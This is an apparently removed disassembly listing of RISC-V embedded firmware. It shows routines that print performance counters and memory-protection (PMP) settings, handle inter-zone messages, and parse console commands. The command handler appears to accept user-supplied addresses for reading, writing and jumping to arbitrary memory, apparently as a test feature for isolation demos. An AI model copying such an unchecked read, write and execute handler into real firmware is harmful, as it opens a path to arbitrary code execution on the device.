-20401db8:	2dc010ef          	jal	ra,20403094 <iprintf>
-20401dbc:	f13025f3          	csrr	a1,mimpid
-20401dc0:	00004517          	auipc	a0,0x4
-20401dc4:	80450513          	addi	a0,a0,-2044 # 204055c4 <_exit+0x3ae>
-20401dc8:	2cc010ef          	jal	ra,20403094 <iprintf>
-20401dcc:	f14025f3          	csrr	a1,mhartid
-20401dd0:	00004517          	auipc	a0,0x4
-20401dd4:	81050513          	addi	a0,a0,-2032 # 204055e0 <_exit+0x3ca>
-20401dd8:	2bc010ef          	jal	ra,20403094 <iprintf>
-20401ddc:	04000593          	li	a1,64
-20401de0:	00004517          	auipc	a0,0x4
-20401de4:	81850513          	addi	a0,a0,-2024 # 204055f8 <_exit+0x3e2>
-20401de8:	2ac010ef          	jal	ra,20403094 <iprintf>
-20401dec:	45c1                	li	a1,16
-20401dee:	00004517          	auipc	a0,0x4
-20401df2:	82650513          	addi	a0,a0,-2010 # 20405614 <_exit+0x3fe>
-20401df6:	29e010ef          	jal	ra,20403094 <iprintf>
-20401dfa:	50b2                	lw	ra,44(sp)
-20401dfc:	5422                	lw	s0,40(sp)
-20401dfe:	5492                	lw	s1,36(sp)
-20401e00:	6145                	addi	sp,sp,48
-20401e02:	8082                	ret
-
-20401e04 <print_stats>:
-20401e04:	7171                	addi	sp,sp,-176
-20401e06:	cf4e                	sw	s3,156(sp)
-20401e08:	d706                	sw	ra,172(sp)
-20401e0a:	d522                	sw	s0,168(sp)
-20401e0c:	d326                	sw	s1,164(sp)
-20401e0e:	d14a                	sw	s2,160(sp)
-20401e10:	cd52                	sw	s4,152(sp)
-20401e12:	cb56                	sw	s5,148(sp)
-20401e14:	c95a                	sw	s6,144(sp)
-20401e16:	c75e                	sw	s7,140(sp)
-20401e18:	4781                	li	a5,0
-20401e1a:	48b9                	li	a7,14
-20401e1c:	4835                	li	a6,13
-20401e1e:	05410993          	addi	s3,sp,84
-20401e22:	02c00313          	li	t1,44
-20401e26:	85c6                	mv	a1,a7
-20401e28:	4521                	li	a0,8
-20401e2a:	00300073          	0x300073
-20401e2e:	86aa                	mv	a3,a0
-20401e30:	85c2                	mv	a1,a6
-20401e32:	4521                	li	a0,8
-20401e34:	00300073          	0x300073
-20401e38:	862a                	mv	a2,a0
-20401e3a:	4501                	li	a0,0
-20401e3c:	00300073          	0x300073
-20401e40:	85c6                	mv	a1,a7
-20401e42:	4521                	li	a0,8
-20401e44:	00300073          	0x300073
-20401e48:	872a                	mv	a4,a0
-20401e4a:	85c2                	mv	a1,a6
-20401e4c:	4521                	li	a0,8
-20401e4e:	00300073          	0x300073
-20401e52:	102c                	addi	a1,sp,40
-20401e54:	95be                	add	a1,a1,a5
-20401e56:	8d11                	sub	a0,a0,a2
-20401e58:	8f15                	sub	a4,a4,a3
-20401e5a:	00f98633          	add	a2,s3,a5
-20401e5e:	c188                	sw	a0,0(a1)
-20401e60:	c218                	sw	a4,0(a2)
-20401e62:	0791                	addi	a5,a5,4
-20401e64:	fc6791e3          	bne	a5,t1,20401e26 <print_stats+0x22>
-20401e68:	103c                	addi	a5,sp,40
-20401e6a:	4601                	li	a2,0
-20401e6c:	4398                	lw	a4,0(a5)
-20401e6e:	00e65363          	bge	a2,a4,20401e74 <print_stats+0x70>
-20401e72:	863a                	mv	a2,a4
-20401e74:	0791                	addi	a5,a5,4
-20401e76:	fef99be3          	bne	s3,a5,20401e6c <print_stats+0x68>
-20401e7a:	00003597          	auipc	a1,0x3
-20401e7e:	7b658593          	addi	a1,a1,1974 # 20405630 <_exit+0x41a>
-20401e82:	0828                	addi	a0,sp,24
-20401e84:	586010ef          	jal	ra,2040340a <siprintf>
-20401e88:	0828                	addi	a0,sp,24
-20401e8a:	5ee010ef          	jal	ra,20403478 <strlen>
-20401e8e:	84aa                	mv	s1,a0
-20401e90:	4401                	li	s0,0
-20401e92:	04000913          	li	s2,64
-20401e96:	00003a97          	auipc	s5,0x3
-20401e9a:	79ea8a93          	addi	s5,s5,1950 # 20405634 <_exit+0x41e>
-20401e9e:	02c00a13          	li	s4,44
-20401ea2:	103c                	addi	a5,sp,40
-20401ea4:	97a2                	add	a5,a5,s0
-20401ea6:	4398                	lw	a4,0(a5)
-20401ea8:	00898633          	add	a2,s3,s0
-20401eac:	4210                	lw	a2,0(a2)
-20401eae:	03274833          	div	a6,a4,s2
-20401eb2:	87a6                	mv	a5,s1
-20401eb4:	86a6                	mv	a3,s1
-20401eb6:	85a6                	mv	a1,s1
-20401eb8:	8556                	mv	a0,s5
-20401eba:	0411                	addi	s0,s0,4
-20401ebc:	1d8010ef          	jal	ra,20403094 <iprintf>
-20401ec0:	ff4411e3          	bne	s0,s4,20401ea2 <print_stats+0x9e>
-20401ec4:	1028                	addi	a0,sp,40
-20401ec6:	00000697          	auipc	a3,0x0
-20401eca:	ae668693          	addi	a3,a3,-1306 # 204019ac <cmpfunc>
-20401ece:	4611                	li	a2,4
-20401ed0:	45ad                	li	a1,11
-20401ed2:	296010ef          	jal	ra,20403168 <qsort>
-20401ed6:	00000697          	auipc	a3,0x0
-20401eda:	ad668693          	addi	a3,a3,-1322 # 204019ac <cmpfunc>
-20401ede:	4611                	li	a2,4
-20401ee0:	45ad                	li	a1,11
-20401ee2:	854e                	mv	a0,s3
-20401ee4:	284010ef          	jal	ra,20403168 <qsort>
-20401ee8:	00003517          	auipc	a0,0x3
-20401eec:	76c50513          	addi	a0,a0,1900 # 20405654 <_exit+0x43e>
-20401ef0:	1a4010ef          	jal	ra,20403094 <iprintf>
-20401ef4:	56f6                	lw	a3,124(sp)
-20401ef6:	5626                	lw	a2,104(sp)
-20401ef8:	45d6                	lw	a1,84(sp)
-20401efa:	00003517          	auipc	a0,0x3
-20401efe:	78650513          	addi	a0,a0,1926 # 20405680 <_exit+0x46a>
-20401f02:	192010ef          	jal	ra,20403094 <iprintf>
-20401f06:	5422                	lw	s0,40(sp)
-20401f08:	54f2                	lw	s1,60(sp)
-20401f0a:	49c6                	lw	s3,80(sp)
-20401f0c:	85a2                	mv	a1,s0
-20401f0e:	8626                	mv	a2,s1
-20401f10:	86ce                	mv	a3,s3
-20401f12:	00003517          	auipc	a0,0x3
-20401f16:	78e50513          	addi	a0,a0,1934 # 204056a0 <_exit+0x48a>
-20401f1a:	17a010ef          	jal	ra,20403094 <iprintf>
-20401f1e:	0329c6b3          	div	a3,s3,s2
-20401f22:	00003517          	auipc	a0,0x3
-20401f26:	79e50513          	addi	a0,a0,1950 # 204056c0 <_exit+0x4aa>
-20401f2a:	0324c633          	div	a2,s1,s2
-20401f2e:	032445b3          	div	a1,s0,s2
-20401f32:	162010ef          	jal	ra,20403094 <iprintf>
-20401f36:	47d5                	li	a5,21
-20401f38:	85be                	mv	a1,a5
-20401f3a:	4521                	li	a0,8
-20401f3c:	00300073          	0x300073
-20401f40:	8b2a                	mv	s6,a0
-20401f42:	85be                	mv	a1,a5
-20401f44:	4521                	li	a0,8
-20401f46:	00300073          	0x300073
-20401f4a:	47d9                	li	a5,22
-20401f4c:	8baa                	mv	s7,a0
-20401f4e:	85be                	mv	a1,a5
-20401f50:	4521                	li	a0,8
-20401f52:	00300073          	0x300073
-20401f56:	842a                	mv	s0,a0
-20401f58:	85be                	mv	a1,a5
-20401f5a:	4521                	li	a0,8
-20401f5c:	00300073          	0x300073
-20401f60:	84aa                	mv	s1,a0
-20401f62:	4561                	li	a0,24
-20401f64:	85aa                	mv	a1,a0
-20401f66:	4521                	li	a0,8
-20401f68:	00300073          	0x300073
-20401f6c:	8aaa                	mv	s5,a0
-20401f6e:	4565                	li	a0,25
-20401f70:	85aa                	mv	a1,a0
-20401f72:	4521                	li	a0,8
-20401f74:	00300073          	0x300073
-20401f78:	862a                	mv	a2,a0
-20401f7a:	4569                	li	a0,26
-20401f7c:	85aa                	mv	a1,a0
-20401f7e:	4521                	li	a0,8
-20401f80:	00300073          	0x300073
-20401f84:	89aa                	mv	s3,a0
-20401f86:	456d                	li	a0,27
-20401f88:	85aa                	mv	a1,a0
-20401f8a:	4521                	li	a0,8
-20401f8c:	00300073          	0x300073
-20401f90:	8a2a                	mv	s4,a0
-20401f92:	0c0a8263          	beqz	s5,20402056 <print_stats+0x252>
-20401f96:	00004517          	auipc	a0,0x4
-20401f9a:	8a650513          	addi	a0,a0,-1882 # 2040583c <_exit+0x626>
-20401f9e:	c632                	sw	a2,12(sp)
-20401fa0:	0f4010ef          	jal	ra,20403094 <iprintf>
-20401fa4:	00003517          	auipc	a0,0x3
-20401fa8:	74050513          	addi	a0,a0,1856 # 204056e4 <_exit+0x4ce>
-20401fac:	0e8010ef          	jal	ra,20403094 <iprintf>
-20401fb0:	00003517          	auipc	a0,0x3
-20401fb4:	6a450513          	addi	a0,a0,1700 # 20405654 <_exit+0x43e>
-20401fb8:	0dc010ef          	jal	ra,20403094 <iprintf>
-20401fbc:	4632                	lw	a2,12(sp)
-20401fbe:	85d6                	mv	a1,s5
-20401fc0:	00003517          	auipc	a0,0x3
-20401fc4:	73450513          	addi	a0,a0,1844 # 204056f4 <_exit+0x4de>
-20401fc8:	0cc010ef          	jal	ra,20403094 <iprintf>
-20401fcc:	8652                	mv	a2,s4
-20401fce:	85ce                	mv	a1,s3
-20401fd0:	00003517          	auipc	a0,0x3
-20401fd4:	74050513          	addi	a0,a0,1856 # 20405710 <_exit+0x4fa>
-20401fd8:	0bc010ef          	jal	ra,20403094 <iprintf>
-20401fdc:	006a5613          	srli	a2,s4,0x6
-20401fe0:	0069d593          	srli	a1,s3,0x6
-20401fe4:	00003517          	auipc	a0,0x3
-20401fe8:	74850513          	addi	a0,a0,1864 # 2040572c <_exit+0x516>
-20401fec:	0a8010ef          	jal	ra,20403094 <iprintf>
-20401ff0:	00004517          	auipc	a0,0x4
-20401ff4:	84c50513          	addi	a0,a0,-1972 # 2040583c <_exit+0x626>
-20401ff8:	09c010ef          	jal	ra,20403094 <iprintf>
-20401ffc:	00003517          	auipc	a0,0x3
-20402000:	75050513          	addi	a0,a0,1872 # 2040574c <_exit+0x536>
-20402004:	090010ef          	jal	ra,20403094 <iprintf>
-20402008:	6941                	lui	s2,0x10
-2040200a:	00003517          	auipc	a0,0x3
-2040200e:	64a50513          	addi	a0,a0,1610 # 20405654 <_exit+0x43e>
-20402012:	082010ef          	jal	ra,20403094 <iprintf>
-20402016:	197d                	addi	s2,s2,-1
-20402018:	010bd613          	srli	a2,s7,0x10
-2040201c:	012b75b3          	and	a1,s6,s2
-20402020:	00003517          	auipc	a0,0x3
-20402024:	73c50513          	addi	a0,a0,1852 # 2040575c <_exit+0x546>
-20402028:	06c010ef          	jal	ra,20403094 <iprintf>
-2040202c:	01247433          	and	s0,s0,s2
-20402030:	0104d613          	srli	a2,s1,0x10
-20402034:	85a2                	mv	a1,s0
-20402036:	00003517          	auipc	a0,0x3
-2040203a:	74250513          	addi	a0,a0,1858 # 20405778 <_exit+0x562>
-2040203e:	056010ef          	jal	ra,20403094 <iprintf>
-20402042:	0164d613          	srli	a2,s1,0x16
-20402046:	00645593          	srli	a1,s0,0x6
-2040204a:	00003517          	auipc	a0,0x3
-2040204e:	74a50513          	addi	a0,a0,1866 # 20405794 <_exit+0x57e>
-20402052:	042010ef          	jal	ra,20403094 <iprintf>
-20402056:	50ba                	lw	ra,172(sp)
-20402058:	542a                	lw	s0,168(sp)
-2040205a:	549a                	lw	s1,164(sp)
-2040205c:	590a                	lw	s2,160(sp)
-2040205e:	49fa                	lw	s3,156(sp)
-20402060:	4a6a                	lw	s4,152(sp)
-20402062:	4ada                	lw	s5,148(sp)
-20402064:	4b4a                	lw	s6,144(sp)
-20402066:	4bba                	lw	s7,140(sp)
-20402068:	614d                	addi	sp,sp,176
-2040206a:	8082                	ret
-
-2040206c <print_pmp>:
-2040206c:	711d                	addi	sp,sp,-96
-2040206e:	3b0027f3          	csrr	a5,pmpaddr0
-20402072:	caa6                	sw	s1,84(sp)
-20402074:	c4d2                	sw	s4,72(sp)
-20402076:	c2d6                	sw	s5,68(sp)
-20402078:	de5e                	sw	s7,60(sp)
-2040207a:	c83e                	sw	a5,16(sp)
-2040207c:	ce86                	sw	ra,92(sp)
-2040207e:	3b1027f3          	csrr	a5,pmpaddr1
-20402082:	cca2                	sw	s0,88(sp)
-20402084:	ca3e                	sw	a5,20(sp)
-20402086:	c0da                	sw	s6,64(sp)
-20402088:	3b2027f3          	csrr	a5,pmpaddr2
-2040208c:	01010b93          	addi	s7,sp,16
-20402090:	cc3e                	sw	a5,24(sp)
-20402092:	4481                	li	s1,0
-20402094:	3b3027f3          	csrr	a5,pmpaddr3
-20402098:	4a21                	li	s4,8
-2040209a:	ce3e                	sw	a5,28(sp)
-2040209c:	02000a93          	li	s5,32
-204020a0:	3b4027f3          	csrr	a5,pmpaddr4
-204020a4:	d03e                	sw	a5,32(sp)
-204020a6:	3b5027f3          	csrr	a5,pmpaddr5
-204020aa:	d23e                	sw	a5,36(sp)
-204020ac:	3b6027f3          	csrr	a5,pmpaddr6
-204020b0:	d43e                	sw	a5,40(sp)
-204020b2:	3b7027f3          	csrr	a5,pmpaddr7
-204020b6:	d63e                	sw	a5,44(sp)
-204020b8:	c8ca                	sw	s2,80(sp)
-204020ba:	c6ce                	sw	s3,76(sp)
-204020bc:	3a002973          	csrr	s2,pmpcfg0
-204020c0:	3a1029f3          	csrr	s3,pmpcfg1
-204020c4:	8626                	mv	a2,s1
-204020c6:	854a                	mv	a0,s2
-204020c8:	85ce                	mv	a1,s3
-204020ca:	34b000ef          	jal	ra,20402c14 <__lshrdi3>
-204020ce:	0ff57513          	andi	a0,a0,255
-204020d2:	cd25                	beqz	a0,2040214a <print_pmp+0xde>
-204020d4:	00157793          	andi	a5,a0,1
-204020d8:	07200713          	li	a4,114
-204020dc:	e399                	bnez	a5,204020e2 <print_pmp+0x76>
-204020de:	02d00713          	li	a4,45
-204020e2:	00e10223          	sb	a4,4(sp)
-204020e6:	00257793          	andi	a5,a0,2
-204020ea:	07700713          	li	a4,119
-204020ee:	e399                	bnez	a5,204020f4 <print_pmp+0x88>
-204020f0:	02d00713          	li	a4,45
-204020f4:	00e102a3          	sb	a4,5(sp)
-204020f8:	00457793          	andi	a5,a0,4
-204020fc:	07800713          	li	a4,120
-20402100:	e399                	bnez	a5,20402106 <print_pmp+0x9a>
-20402102:	02d00713          	li	a4,45
-20402106:	00e10323          	sb	a4,6(sp)
-2040210a:	000103a3          	sb	zero,7(sp)
-2040210e:	c402                	sw	zero,8(sp)
-20402110:	00011623          	sh	zero,12(sp)
-20402114:	8961                	andi	a0,a0,24
-20402116:	05451b63          	bne	a0,s4,2040216c <print_pmp+0x100>
-2040211a:	000bab03          	lw	s6,0(s7)
-2040211e:	ffcba403          	lw	s0,-4(s7)
-20402122:	00003597          	auipc	a1,0x3
-20402126:	68e58593          	addi	a1,a1,1678 # 204057b0 <_exit+0x59a>
-2040212a:	0b0a                	slli	s6,s6,0x2
-2040212c:	040a                	slli	s0,s0,0x2
-2040212e:	1b7d                	addi	s6,s6,-1
-20402130:	0028                	addi	a0,sp,8
-20402132:	334010ef          	jal	ra,20403466 <strcpy>
-20402136:	0038                	addi	a4,sp,8
-20402138:	0054                	addi	a3,sp,4
-2040213a:	865a                	mv	a2,s6
-2040213c:	85a2                	mv	a1,s0
-2040213e:	00003517          	auipc	a0,0x3
-20402142:	68250513          	addi	a0,a0,1666 # 204057c0 <_exit+0x5aa>
-20402146:	74f000ef          	jal	ra,20403094 <iprintf>
-2040214a:	04a1                	addi	s1,s1,8
-2040214c:	04000793          	li	a5,64
-20402150:	0b91                	addi	s7,s7,4
-20402152:	f6f499e3          	bne	s1,a5,204020c4 <print_pmp+0x58>
-20402156:	40f6                	lw	ra,92(sp)
-20402158:	4466                	lw	s0,88(sp)
-2040215a:	44d6                	lw	s1,84(sp)
-2040215c:	4946                	lw	s2,80(sp)
-2040215e:	49b6                	lw	s3,76(sp)
-20402160:	4a26                	lw	s4,72(sp)
-20402162:	4a96                	lw	s5,68(sp)
-20402164:	4b06                	lw	s6,64(sp)
-20402166:	5bf2                	lw	s7,60(sp)
-20402168:	6125                	addi	sp,sp,96
-2040216a:	8082                	ret
-2040216c:	47c1                	li	a5,16
-2040216e:	00f51c63          	bne	a0,a5,20402186 <print_pmp+0x11a>
-20402172:	000ba403          	lw	s0,0(s7)
-20402176:	00003597          	auipc	a1,0x3
-2040217a:	63e58593          	addi	a1,a1,1598 # 204057b4 <_exit+0x59e>
-2040217e:	040a                	slli	s0,s0,0x2
-20402180:	00340b13          	addi	s6,s0,3 # 10040003 <__stack_size+0x1003f803>
-20402184:	b775                	j	20402130 <print_pmp+0xc4>
-20402186:	47e1                	li	a5,24
-20402188:	fcf517e3          	bne	a0,a5,20402156 <print_pmp+0xea>
-2040218c:	000ba783          	lw	a5,0(s7)
-20402190:	4b01                	li	s6,0
-20402192:	0167d433          	srl	s0,a5,s6
-20402196:	00147713          	andi	a4,s0,1
-2040219a:	e30d                	bnez	a4,204021bc <print_pmp+0x150>
-2040219c:	002b0793          	addi	a5,s6,2
-204021a0:	00f41433          	sll	s0,s0,a5
-204021a4:	0b0d                	addi	s6,s6,3
-204021a6:	4605                	li	a2,1
-204021a8:	01661633          	sll	a2,a2,s6
-204021ac:	fff40b13          	addi	s6,s0,-1
-204021b0:	9b32                	add	s6,s6,a2
-204021b2:	00003597          	auipc	a1,0x3
-204021b6:	60658593          	addi	a1,a1,1542 # 204057b8 <_exit+0x5a2>
-204021ba:	bf9d                	j	20402130 <print_pmp+0xc4>
-204021bc:	0b05                	addi	s6,s6,1
-204021be:	fd5b1ae3          	bne	s6,s5,20402192 <print_pmp+0x126>
-204021c2:	4b01                	li	s6,0
-204021c4:	4401                	li	s0,0
-204021c6:	bf85                	j	20402136 <print_pmp+0xca>
-
-204021c8 <msg_handler>:
-204021c8:	7139                	addi	sp,sp,-64
-204021ca:	dc22                	sw	s0,56(sp)
-204021cc:	da26                	sw	s1,52(sp)
-204021ce:	d84a                	sw	s2,48(sp)
-204021d0:	d452                	sw	s4,40(sp)
-204021d2:	d256                	sw	s5,36(sp)
-204021d4:	d05a                	sw	s6,32(sp)
-204021d6:	ce5e                	sw	s7,28(sp)
-204021d8:	cc62                	sw	s8,24(sp)
-204021da:	ca66                	sw	s9,20(sp)
-204021dc:	c86a                	sw	s10,16(sp)
-204021de:	de06                	sw	ra,60(sp)
-204021e0:	d64e                	sw	s3,44(sp)
-204021e2:	97c18913          	addi	s2,gp,-1668 # 8000d9ec <str.4>
-204021e6:	5fc0b497          	auipc	s1,0x5fc0b
-204021ea:	61a48493          	addi	s1,s1,1562 # 8000d800 <p.5>
-204021ee:	4405                	li	s0,1
-204021f0:	00003a17          	auipc	s4,0x3
-204021f4:	5e8a0a13          	addi	s4,s4,1512 # 204057d8 <_exit+0x5c2>
-204021f8:	4abd                	li	s5,15
-204021fa:	00003b17          	auipc	s6,0x3
-204021fe:	24eb0b13          	addi	s6,s6,590 # 20405448 <_exit+0x232>
-20402202:	00003b97          	auipc	s7,0x3
-20402206:	5e6b8b93          	addi	s7,s7,1510 # 204057e8 <_exit+0x5d2>
-2040220a:	95818c13          	addi	s8,gp,-1704 # 8000d9c8 <inputline>
-2040220e:	00003c97          	auipc	s9,0x3
-20402212:	5e6c8c93          	addi	s9,s9,1510 # 204057f4 <_exit+0x5de>
-20402216:	00003d17          	auipc	s10,0x3
-2040221a:	5cad0d13          	addi	s10,s10,1482 # 204057e0 <_exit+0x5ca>
-2040221e:	85a2                	mv	a1,s0
-20402220:	450d                	li	a0,3
-20402222:	00300073          	0x300073
-20402226:	c032                	sw	a2,0(sp)
-20402228:	c236                	sw	a3,4(sp)
-2040222a:	c43a                	sw	a4,8(sp)
-2040222c:	c63e                	sw	a5,12(sp)
-2040222e:	04090993          	addi	s3,s2,64 # 10040 <__stack_size+0xf840>
-20402232:	c115                	beqz	a0,20402256 <msg_handler+0x8e>
-20402234:	858a                	mv	a1,sp
-20402236:	8552                	mv	a0,s4
-20402238:	216010ef          	jal	ra,2040344e <strcmp>
-2040223c:	e129                	bnez	a0,2040227e <msg_handler+0xb6>
-2040223e:	85a2                	mv	a1,s0
-20402240:	000d2603          	lw	a2,0(s10)
-20402244:	004d2683          	lw	a3,4(s10)
-20402248:	008d2703          	lw	a4,8(s10)
-2040224c:	00cd2783          	lw	a5,12(s10)
-20402250:	4509                	li	a0,2
-20402252:	00300073          	0x300073
-20402256:	0405                	addi	s0,s0,1
-20402258:	4795                	li	a5,5
-2040225a:	894e                	mv	s2,s3
-2040225c:	0491                	addi	s1,s1,4
-2040225e:	fcf410e3          	bne	s0,a5,2040221e <msg_handler+0x56>
-20402262:	50f2                	lw	ra,60(sp)
-20402264:	5462                	lw	s0,56(sp)
-20402266:	54d2                	lw	s1,52(sp)
-20402268:	5942                	lw	s2,48(sp)
-2040226a:	59b2                	lw	s3,44(sp)
-2040226c:	5a22                	lw	s4,40(sp)
-2040226e:	5a92                	lw	s5,36(sp)
-20402270:	5b02                	lw	s6,32(sp)
-20402272:	4bf2                	lw	s7,28(sp)
-20402274:	4c62                	lw	s8,24(sp)
-20402276:	4cd2                	lw	s9,20(sp)
-20402278:	4d42                	lw	s10,16(sp)
-2040227a:	6121                	addi	sp,sp,64
-2040227c:	8082                	ret
-2040227e:	4088                	lw	a0,0(s1)
-20402280:	4641                	li	a2,16
-20402282:	858a                	mv	a1,sp
-20402284:	5c5000ef          	jal	ra,20403048 <memcpy>
-20402288:	409c                	lw	a5,0(s1)
-2040228a:	07c1                	addi	a5,a5,16
-2040228c:	04f9ed63          	bltu	s3,a5,204022e6 <msg_handler+0x11e>
-20402290:	c09c                	sw	a5,0(s1)
-20402292:	45c1                	li	a1,16
-20402294:	850a                	mv	a0,sp
-20402296:	218010ef          	jal	ra,204034ae <strnlen>
-2040229a:	faaaeee3          	bltu	s5,a0,20402256 <msg_handler+0x8e>
-2040229e:	4619                	li	a2,6
-204022a0:	85da                	mv	a1,s6
-204022a2:	4505                	li	a0,1
-204022a4:	62e010ef          	jal	ra,204038d2 <write>
-204022a8:	85a2                	mv	a1,s0
-204022aa:	864a                	mv	a2,s2
-204022ac:	855e                	mv	a0,s7
-204022ae:	5e7000ef          	jal	ra,20403094 <iprintf>
-204022b2:	45a9                	li	a1,10
-204022b4:	854a                	mv	a0,s2
-204022b6:	210010ef          	jal	ra,204034c6 <strrchr>
-204022ba:	e519                	bnez	a0,204022c8 <msg_handler+0x100>
-204022bc:	00003517          	auipc	a0,0x3
-204022c0:	58050513          	addi	a0,a0,1408 # 2040583c <_exit+0x626>
-204022c4:	5d1000ef          	jal	ra,20403094 <iprintf>
-204022c8:	85e2                	mv	a1,s8
-204022ca:	8566                	mv	a0,s9
-204022cc:	5c9000ef          	jal	ra,20403094 <iprintf>
-204022d0:	4619                	li	a2,6
-204022d2:	00003597          	auipc	a1,0x3
-204022d6:	21e58593          	addi	a1,a1,542 # 204054f0 <_exit+0x2da>
-204022da:	4505                	li	a0,1
-204022dc:	5f6010ef          	jal	ra,204038d2 <write>
-204022e0:	0124a023          	sw	s2,0(s1)
-204022e4:	bf8d                	j	20402256 <msg_handler+0x8e>
-204022e6:	0124a023          	sw	s2,0(s1)
-204022ea:	b765                	j	20402292 <msg_handler+0xca>
-
-204022ec <cmd_handler>:
-204022ec:	7179                	addi	sp,sp,-48
-204022ee:	00004597          	auipc	a1,0x4
-204022f2:	c6258593          	addi	a1,a1,-926 # 20405f50 <__sf_fake_stdout+0x24>
-204022f6:	95818513          	addi	a0,gp,-1704 # 8000d9c8 <inputline>
-204022fa:	d606                	sw	ra,44(sp)
-204022fc:	d422                	sw	s0,40(sp)
-204022fe:	d226                	sw	s1,36(sp)
-20402300:	d04a                	sw	s2,32(sp)
-20402302:	ce4e                	sw	s3,28(sp)
-20402304:	1f4010ef          	jal	ra,204034f8 <strtok>
-20402308:	00004597          	auipc	a1,0x4
-2040230c:	c4858593          	addi	a1,a1,-952 # 20405f50 <__sf_fake_stdout+0x24>
-20402310:	842a                	mv	s0,a0
-20402312:	4501                	li	a0,0
-20402314:	1e4010ef          	jal	ra,204034f8 <strtok>
-20402318:	00004597          	auipc	a1,0x4
-2040231c:	c3858593          	addi	a1,a1,-968 # 20405f50 <__sf_fake_stdout+0x24>
-20402320:	84aa                	mv	s1,a0
-20402322:	4501                	li	a0,0
-20402324:	1d4010ef          	jal	ra,204034f8 <strtok>
-20402328:	892a                	mv	s2,a0
-2040232a:	00004597          	auipc	a1,0x4
-2040232e:	c2658593          	addi	a1,a1,-986 # 20405f50 <__sf_fake_stdout+0x24>
-20402332:	4501                	li	a0,0
-20402334:	1c4010ef          	jal	ra,204034f8 <strtok>
-20402338:	89aa                	mv	s3,a0
-2040233a:	e409                	bnez	s0,20402344 <cmd_handler+0x58>
-2040233c:	00003417          	auipc	s0,0x3
-20402340:	4c440413          	addi	s0,s0,1220 # 20405800 <_exit+0x5ea>
-20402344:	00003597          	auipc	a1,0x3
-20402348:	4fc58593          	addi	a1,a1,1276 # 20405840 <_exit+0x62a>
-2040234c:	8522                	mv	a0,s0
-2040234e:	100010ef          	jal	ra,2040344e <strcmp>
-20402352:	e529                	bnez	a0,2040239c <cmd_handler+0xb0>
-20402354:	c885                	beqz	s1,20402384 <cmd_handler+0x98>
-20402356:	4641                	li	a2,16
-20402358:	4581                	li	a1,0
-2040235a:	8526                	mv	a0,s1
-2040235c:	530010ef          	jal	ra,2040388c <strtoul>
-20402360:	4601                	li	a2,0
-20402362:	85aa                	mv	a1,a0
-20402364:	00054603          	lbu	a2,0(a0)
-20402368:	0ff67613          	andi	a2,a2,255
-2040236c:	00003517          	auipc	a0,0x3
-20402370:	4dc50513          	addi	a0,a0,1244 # 20405848 <_exit+0x632>
-20402374:	5422                	lw	s0,40(sp)
-20402376:	50b2                	lw	ra,44(sp)
-20402378:	5492                	lw	s1,36(sp)
-2040237a:	5902                	lw	s2,32(sp)
-2040237c:	49f2                	lw	s3,28(sp)
-2040237e:	6145                	addi	sp,sp,48
-20402380:	5150006f          	j	20403094 <iprintf>
-20402384:	00003517          	auipc	a0,0x3
-20402388:	4d850513          	addi	a0,a0,1240 # 2040585c <_exit+0x646>
-2040238c:	5422                	lw	s0,40(sp)
-2040238e:	50b2                	lw	ra,44(sp)
-20402390:	5492                	lw	s1,36(sp)
-20402392:	5902                	lw	s2,32(sp)
-20402394:	49f2                	lw	s3,28(sp)
-20402396:	6145                	addi	sp,sp,48
-20402398:	4fd0006f          	j	20403094 <iprintf>
-2040239c:	00003597          	auipc	a1,0x3
-204023a0:	4d858593          	addi	a1,a1,1240 # 20405874 <_exit+0x65e>
-204023a4:	8522                	mv	a0,s0
-204023a6:	0a8010ef          	jal	ra,2040344e <strcmp>
-204023aa:	ed21                	bnez	a0,20402402 <cmd_handler+0x116>
-204023ac:	c4b1                	beqz	s1,204023f8 <cmd_handler+0x10c>
-204023ae:	04090563          	beqz	s2,204023f8 <cmd_handler+0x10c>
-204023b2:	4641                	li	a2,16
-204023b4:	4581                	li	a1,0
-204023b6:	854a                	mv	a0,s2
-204023b8:	4d4010ef          	jal	ra,2040388c <strtoul>
-204023bc:	4641                	li	a2,16
-204023be:	4581                	li	a1,0
-204023c0:	89aa                	mv	s3,a0
-204023c2:	8526                	mv	a0,s1
-204023c4:	4c8010ef          	jal	ra,2040388c <strtoul>
-204023c8:	842a                	mv	s0,a0
-204023ca:	854a                	mv	a0,s2
-204023cc:	0ac010ef          	jal	ra,20403478 <strlen>
-204023d0:	4789                	li	a5,2
-204023d2:	00a7e763          	bltu	a5,a0,204023e0 <cmd_handler+0xf4>
-204023d6:	01340023          	sb	s3,0(s0)
-204023da:	864e                	mv	a2,s3
-204023dc:	85a2                	mv	a1,s0
-204023de:	b779                	j	2040236c <cmd_handler+0x80>
-204023e0:	854a                	mv	a0,s2
-204023e2:	096010ef          	jal	ra,20403478 <strlen>
-204023e6:	4791                	li	a5,4
-204023e8:	00a7e563          	bltu	a5,a0,204023f2 <cmd_handler+0x106>
-204023ec:	01341023          	sh	s3,0(s0)
-204023f0:	b7ed                	j	204023da <cmd_handler+0xee>
-204023f2:	01342023          	sw	s3,0(s0)
-204023f6:	b7d5                	j	204023da <cmd_handler+0xee>
-204023f8:	00003517          	auipc	a0,0x3
-204023fc:	48450513          	addi	a0,a0,1156 # 2040587c <_exit+0x666>
-20402400:	b771                	j	2040238c <cmd_handler+0xa0>
-20402402:	00003597          	auipc	a1,0x3
-20402406:	49a58593          	addi	a1,a1,1178 # 2040589c <_exit+0x686>
-2040240a:	8522                	mv	a0,s0
-2040240c:	042010ef          	jal	ra,2040344e <strcmp>
-20402410:	e50d                	bnez	a0,2040243a <cmd_handler+0x14e>
-20402412:	cc99                	beqz	s1,20402430 <cmd_handler+0x144>
-20402414:	4641                	li	a2,16
-20402416:	4581                	li	a1,0
-20402418:	8526                	mv	a0,s1
-2040241a:	472010ef          	jal	ra,2040388c <strtoul>
-2040241e:	00050067          	jr	a0
-20402422:	50b2                	lw	ra,44(sp)
-20402424:	5422                	lw	s0,40(sp)
-20402426:	5492                	lw	s1,36(sp)
-20402428:	5902                	lw	s2,32(sp)
-2040242a:	49f2                	lw	s3,28(sp)
-2040242c:	6145                	addi	sp,sp,48
-2040242e:	8082                	ret
-20402430:	00003517          	auipc	a0,0x3
-20402434:	47450513          	addi	a0,a0,1140 # 204058a4 <_exit+0x68e>
-20402438:	bf91                	j	2040238c <cmd_handler+0xa0>
-2040243a:	00003597          	auipc	a1,0x3
-2040243e:	48258593          	addi	a1,a1,1154 # 204058bc <_exit+0x6a6>
-20402442:	8522                	mv	a0,s0
-20402444:	00a010ef          	jal	ra,2040344e <strcmp>
